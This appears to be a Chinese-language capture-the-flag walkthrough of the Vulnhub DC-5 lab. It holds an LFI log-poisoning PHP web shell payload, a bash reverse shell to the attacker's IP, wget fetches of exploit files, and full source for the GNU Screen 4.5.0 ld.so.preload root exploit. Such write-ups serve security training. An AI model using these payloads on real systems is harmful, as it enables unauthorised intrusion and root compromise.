Vulnhub练习DC-5 完整复现
字数 1122 2025-08-18 11:35:46
DC-5 靶机渗透测试完整复现教程
一、环境准备
靶机信息
- 靶机名称: DC-5 (来自Vulnhub)
- 可能的IP地址: 192.168.200.11 或 192.168.200.58
- 开放服务: HTTP (80端口), RPC (111端口), 其他(43853端口)
攻击机信息
- 系统: Kali Linux
- IP地址: 192.168.200.14
二、信息收集阶段
1. 主机发现
使用三种方法扫描网段内存活主机:
# 方法1: arp-scan
arp-scan -l
# 方法2: nmap ping扫描
nmap -sP 192.168.200.0/24 -T4
# 方法3: netdiscover
netdiscover -i eth0 -r 192.168.200.0/24
2. 端口扫描与服务识别
# 基本扫描
nmap -sS -A 192.168.200.11 -p 1-65535
# 服务版本探测
nmap -sV -p- 192.168.200.11
扫描结果:
- 80/tcp: HTTP服务
- 111/tcp: RPC服务
- 43853/tcp: 未知服务
3. Web应用初步分析
访问网站发现每次刷新页面时,底部时间会变化,可能存在文件包含漏洞。
4. 目录扫描
使用工具扫描网站目录,发现thankyou.php文件包含footer.php,进一步确认文件包含漏洞可能性。
三、漏洞利用
1. 文件包含漏洞验证
尝试访问:
http://192.168.200.11/?file=/etc/passwd
成功显示系统用户信息,确认存在文件包含漏洞。
2. 通过Nginx日志获取Webshell
Nginx日志路径:
/var/log/nginx/error.log/var/log/nginx/access.log
利用方法:
- 通过Burp或直接URL访问将PHP代码写入日志
- 示例Payload:
http://192.168.200.11/?file=/var/log/nginx/access.log&cmd=<?php system($_GET['cmd']);?>
3. 建立Webshell连接
- 在Kali上开启监听:
nc -lvnp 4444
- 通过蚁剑或直接使用Webshell执行反弹shell命令:
bash -c 'bash -i >& /dev/tcp/192.168.200.14/4444 0>&1'
- 升级交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
四、提权尝试
1. 查找SUID文件
find / -perm -u=s -type f 2>/dev/null
发现screen-4.5.0可能可利用。
2. 利用GNU Screen漏洞
- 搜索相关漏洞:
searchsploit screen 4.5.0
- 复制利用代码:
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
3. 编译利用代码
将利用脚本拆分为三部分:
第一部分: libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
编译:
gcc -fPIC -shared -ldl -o libhax.so libhax.c
第二部分: rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
编译:
gcc -o rootshell rootshell.c
第三部分: DC-5.sh
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
4. 文件传输与执行
- 在Kali上启动HTTP服务:
python -m http.server 8899
- 在靶机上下载文件:
wget http://192.168.200.14:8888/rootshell
wget http://192.168.200.14:8888/libhax.so
wget http://192.168.200.14:8888/DC-5.sh
- 执行提权:
chmod +x DC-5.sh
./DC-5.sh
5. 遇到的问题
执行时出现错误:
glibc_2.34 not found
可能是由于glibc版本不兼容导致提权失败。
五、可能的解决方案
-
尝试其他提权方法:
- 检查内核版本寻找本地提权漏洞
- 查找其他SUID程序
- 检查crontab任务
-
针对glibc问题的解决:
- 尝试在靶机上静态编译利用代码
- 寻找与靶机glibc版本兼容的利用代码
-
参考其他资源:
六、总结
本教程详细记录了DC-5靶机的渗透过程,从信息收集到文件包含漏洞利用,再到提权尝试。虽然最后提权步骤遇到问题,但整个过程展示了完整的渗透测试思路和方法。对于遇到的glibc版本问题,需要进一步研究兼容性解决方案或寻找替代提权方法。